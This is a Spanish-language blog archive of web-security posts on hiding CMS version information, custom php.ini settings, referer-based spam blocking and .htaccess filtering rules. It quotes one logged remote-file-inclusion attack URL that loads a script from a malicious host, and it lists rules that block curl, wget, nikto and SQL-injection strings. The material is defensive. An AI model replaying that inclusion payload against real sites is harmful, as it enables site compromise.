Archive for the ‘ Seguridad Web ’ Category

Evitando un poco ataques bots a nuestra web

En internet existen redes bots para enviar spam o para hacer ataques automáticos en páginas web encontradas en Google. Mi web como probablemente muchas más no está lejos de esta realidad y diariamente es atacada por docenas de bots y tipos de ataques.

En principio, estos bots son creados por alguien que pretende comprometer una web de manera automática en un CMS conocido, la gran mayoría con ataques simples de XSS o SQL Injection y tratando de explotar en muchos casos una vulnerabilidad conocida del CMS que uses.

Para evitar solo un poco este tipo de ataques que puede causar estragos si se nos olvida actualizar no está de más aplicar lo que se llama “oscuridad como seguridad”. Simplemente se trata de una técnica de eliminar cualquier información de qué CMS usas y qué versión. Si no lo haces,  estos datos son guardados por los buscadores y son los usados por los bots, si no los mostramos dichos bots no deberían atacar con frecuencia nuestra web.

Para demostrar un poco eso de los bots desde hace meses he recibido ataques en este tema de mi blog:  Actualizando de Xoops 2.0.18 a Xoops 2.3.0 RC Todos los ataques han sido de bots pretendiendo explotar una vulnerabilidad en Xoops CMS obviamente sin éxito.

/blog/2008/08/26/actualizando-de-xoops-2018-a-xoops-230-rc/xoops_lib/modules/protector/module_icon.php?mydirpath=http://web-maligna.com/id1.txt?

La razón obvia de ese ataque es que el tema en cuestión de mi bog incluye las frases xoops y la versión que a parte se muestra en google.

Debo decir que a mi me ha funcionado disminuyendo las visitas de bots que son molestos y consumen ancho de banda, pero esta técnica es completamente inútil para un atacante humano, así que no crean que agregarán mucha seguridad con esto ;)

PD: Existen bots que hacen pentest en las webs donde se desconoce el CMS y guardan los resultados en los servidores donde se alojan, así cuidense de los pentest también ;)

Salu2

Tareas de mantenimiento de mi página: php.ini

Para el día de ayer en la madrugada me dispuse a hacer un proceso un tanto peligroso en mi página el cual consistía en modificar el fichero php.ini de mi servidor.

En el actual servidor donde estoy por ser compartido se utiliza un php.ini global en el servidor y que no es modificable por mi, solo algún administrador puede hacerlo; pero una modificación en ese archivo podría ser contraproducente en alguna otra página web alojada en este mismo servidor por lo que no esperen que realicen todas las modificaciones que yo quisiera ;).

Muchas directivas peligrosas del php.ini están habilitadas en este servidor (luego se quejan que los hackean eh?) algo que me preocupa bastante, lo peor del caso era que no podía deshabilitarlas ni con una regla en el .htaccess algo que solía hacer anteriormente (antes que me cambiaran de servidor).

Vista mi preocupación y luego de leer este tema Como utilizar un php.ini propio y mejorar la seguridad de sitios php. donde explica un proceso para poder adquirir un php.ini propio en un servidor compartido, algo muy útil no? ;). El proceso es sencillo, con una regla en el .htaccess logramos incluir un php.ini propio en tu servidor compartido:

SetEnv PHPRC /home/usuario/configuracion/php.ini

Con esta regla logramos utilizar un php.ini personalizado para solo tu web, las demás páginas web alojadas en el mismo servidor no se veran afectadas en lo absoluto.

Yo utilicé un php.ini ya creado con reglas estrictas aunque de igual forma tuve que modificar muchas. Para no afectar en gran medida el rendimiento/estabilidad de mi web traté de ajustar algunas variables de PHP de la misma forma como las tenía este servidor. Para los que se pregunten donde consigo esas variables y sus valores deben hacer lo siguiente:

1- Crean un archivo vacío en su pc llamado server.php (o como quieran llamarlo).

2- Modifican el archivo incluyendo el siguiente texto:

<?php phpinfo(); ?>

3- Suben el fichero al servidor y accede a él, por ejemplo: www.tu-web.com/server.php.

Con eso obtendrán la lista de variables del php.ini con sus respectivos valores.

A pesar de que traté en la medida de lo posible de mantener igualdad de configuraciones entre mi php.ini y el global de este servidor el blog dejó de funcionar y debido a que deshabilité error_reporting no sabía cual era el error exacto. Preferí tantear cambiando los valores de las variables a ver cual era el problema y… tachán!!!! era short_open _tag la causante del error. Todo indica que Wordpress necesita habilitada esa función en el php.ini para poder funcionar.

Si notan algún comportamiento extraño en mi página o que algo no funciona como debería pueden informar desde el formulario de contacto.

Salu2

Evitando Spam en páginas web.

Buscándo algunas cosas acerca del referer me conseguí por mera casualidad con 2 procedimientos bastante chéveres para evitar Spam en páginas web.

A pesar de que siempre es recomendable tener varios sistemas para evitar Spam por si alguno falla estará el otro o el siguiente que tengas agregaré a mi lista los siguientes 2 métodos:

Método 1: Evitando Spam mediante una regla en el .htaccess usando mod_rewrite o mod_security:

La regla es bastante sencilla, si tenemos habilitado mod_security colocamos en el .htaccess una línea similar a la siguiente:

SecFilterSelective "HTTP_REFERER" "(holdem|poker|casino)"

Si tenemos habilitado mod_rewrite basta con colocar algo así:

RewriteEngine   on
  RewriteCond %{HTTP_REFERER} poker  [NC,OR]
  RewriteCond %{HTTP_REFERER} holdem [NC,OR]
  RewriteCond %{HTTP_REFERER} casino [NC]
  RewriteRule .* - [F,L]

O una regla así:

RewriteEngine   on

RewriteCond %{HTTP_REFERER} (poker|holdem|casino)  [NC]
RewriteRule .* - [F,L]

Las reglas lo que hacen es bloquear el acceso a las personas que vengan desde un referer que contenga las palabras “poker, holdem, casino” el cual normalmente son bots spamers. En ambos casos parece que obtendrán un [F] o Forbidden (Acceso denegado) hacia la página.

Enlace de referencia: http://www.debian-administration.org/articles/232

Método 2: Para los que no posean apache como servidor web pueden hacerlo a través de PHP:

Primero deben descargar el siguiente archivo que contiene un código para evitar al igual que el proceso anterior, algunos referers de bots nets:

Descarga de archivo: proteccion

Una vez que descarguen el archivo y lo suban a su servidor, en la cabecera de su archivo php principal colocarán el siguiente texto:

include ('proteccion.php');

Visto en | Emezeta.com

Al igual que el método 1 este también se basa en el Referer del visitánte y en este caso bloquea muchos más referers que normalmente usan los bots spamers.

Como dije arriba es importánte tener muchas más protecciones como sistemas Captcha o sistemas de preguntas lógicas para evitar bots spamers.

Salu2

En alguna oportunidad he mencionado la importancia de un archivo .htaccess con buenas reglas para una mayor seguridad en tu web y en este caso he visto una buena recopilación de reglas creadas por lo que yo llamaría un experto de seguridad web. En principio el archivo .htaccess utilizado por Apache no fue hecho para agregar seguridad a una página web, pero debido a su manejabilidad permite en muchos casos evitar accesos no auorizados. Las reglas son las siguientes:

RewriteEngine On
Options +FollowSymLinks

RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]

RewriteRule ^(.*)$ access_log.php 

El autor explica cada zona de las reglas en su tema así que yo también lo haré en base a lo que él explicó. El texto originalmente está en ingles y no pretendo hacer una traducción perfecta pero trataré de explicarlo a mi manera:

Primero colocamos la configuración básica para habilitar el mod_rewrite en apache:

RewriteEngine On
Options +FollowSymLinks

La siguiente regla deshabilita el banner de información de apache cuando envía un error como Not Found. Esta función es importante deshabilitarla ya que en algunas versiones de Apache o un apache mal configurado muestra información que podría ser de utilidad para un atacante como muestra la siguiente imagen:

Mostrar la versión de apache y los módulos instalados 8con sus respectivas versiones) podría ser un riesgo de seguridad enorme ya que un atacante podría buscar bugs conocidos para dicha versión (para mi caso habilitar esta función me envió un Internal Server Error así que no es soportada por mi servidor):

ServerSignature Off

Las reglas utilizan 2 flags distintas:

NC - No Case: No distingue mayúsculas o minúsculas
OR - Sip, O: Siguiente condición.

La primera regla está basada en el REQUEST_METHOD. El REQUEST_METHOD es la forma en que se conecta el cliente con nuestro servidor. Para mi caso solo necesito GET o POST, puede que para su caso sea distinto ;).

RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]

THE_REQUEST es la petición completa hecha por el usuario y consiste en una cadena larga. Esta es usada para sanar ya que no queremos que un usuario envíe una petición con doble línea lo cual podría permitir un CRLF Injection ;)

RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

HTTP_REFERER puede contener caracteres que pueden ser usados para hacer una Pentest (Test de Intrusión) a una aplicación web. También podría permitir una intrusión de archivos así que bloqueamos los caracteres que no serán usados en peticiones legítimas:

RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

HTTP_COOKIE es igual de importante y ofrece un lugar para guardar el pentest caracteres lo que quiere decir que guarda en una cookie los caracteres.

RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

REQUEST_URI Es importante para la protección del servidor. Sobre todo para proteger de problemas con OverFlows como sucede com Apache Tomcat. Para proteger de esto limitaremos a 9999 caracteres duplicados.

RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]

USER_AGENT Analiza el User Agent (navegador) desde donde se hace la petición. El bloquear algunos user puede evitar que accedan a nuestra web muchos bots atacantes (muy común los libwww) o también hacer peticiones desde WGET (gestor de descargas). Particularmente usaba una regla similar y desde que la implementé dejé de ver ataques de bots insertados en servidores vulnerados.

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

QUERY_STRING es probablemente lo más importante de todo porque aquí es donde suceden la mayoría de las cosas. Configurando de buena forma las reglas podemos evitar algunos XSS, algunos SQL Injection, y Remote Shell Injection.

RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]

Finalmente si apache consiguiera alguna de las peticiones bloqueadas en la regla podemos redirigir al usuario a una página o directamente bloquear el acceso. Originalmente la regla está hecha para enviar al posible atacante a una página alojada en el servidor llamada access_log.php el cual podría contener un script o podría ser una página hecha por usted:

RewriteRule ^(.*)$ access_log.php

Para mi caso particular prefiero enviar un mensaje de acceso denegado con la siguiente regla:

RewriteRule ^(.*)$ - [F]

Eso enviará al posible atacante a una página de error 403 Forbidden o acceso denegado.

Las reglas me parecieron bastante chéveres a pesar de que yo ya usaba la mayoría había una que otra que no conocía y decidí agregar. Siempre es bueno que a su vez hagan una búsqueda más extensa de más reglas para bloquear accesos y a su vez aprendan a utilizar cada regla según su conveniencia.

Visto en | The Hacker Webzine

Algunos enlaces de referencia:

  • Apache Mod_Rewrite
  • QUERY_STRING
  • Documentación de apache
  • XSS
  • Salu2

    Problemas de seguridad a raíz de la web 2.0 y el auge de Internet.

    Como bien leía hace poco en una de las web que frecuento, Internet se ha convertido en un campo minado y no solo en una herramienta de productividad.

    En la actualidad es difícil no hablar de seguridad, malwares y la web 2.0; aunque Web 2.0 no tiene mucho que ver con malwares parece que ya van agarrados de la mano.

    La web 2.0 ha traido nuevos horizontes al internet, un nuevo nivel de comunicación y de interacción pero consigo nuevas técnicas de propagación de malwares, nuevas estrategias para vulnerar sistemas, robar contraseñas, cuentas de banco y otro montón de cosas. Por el nivel de complegidad de la web 2.0 se hace difícil crear un sistema sólido y seguro, normalmente son vulnerables a ataques XSS.

    Todo indica que con el nacimiento de esta nueva tendencia nace también el Malware 2.0; aquel inteligente que insertado en una de las grandes Web 2.0 (como MySpace) es capáz de introducirse en el computador de la víctima sin que deba descargar nada, esto es logrado gracias a Navegadores vulnerables y código vulnerado. Lo que hace inteligente al Malware 2.0 es que es capaz de detectar el navegador y sistema operativo para así reaccionar de distinta manera de acuerdo al resultado.

    ¿Necesito decir que un malware que reconozca mi navegador y sepa vulnerarlo es peligroso?; pues si lo es, y mucho!. No solo el navegador sino el sistema, probablemente si estuviesemos en un sistema Linux el malware no tome ninguna acción pero ojalá no llegase el día en que inclusive los usuarios de Linux no estemos seguros.

    En la actualidad Internet es un campo minado, tanto para los que tenemos una web como yo como para los navegantes.

    Lo mejor será volver a las épocas de antes donde no había internet no?

    Salu2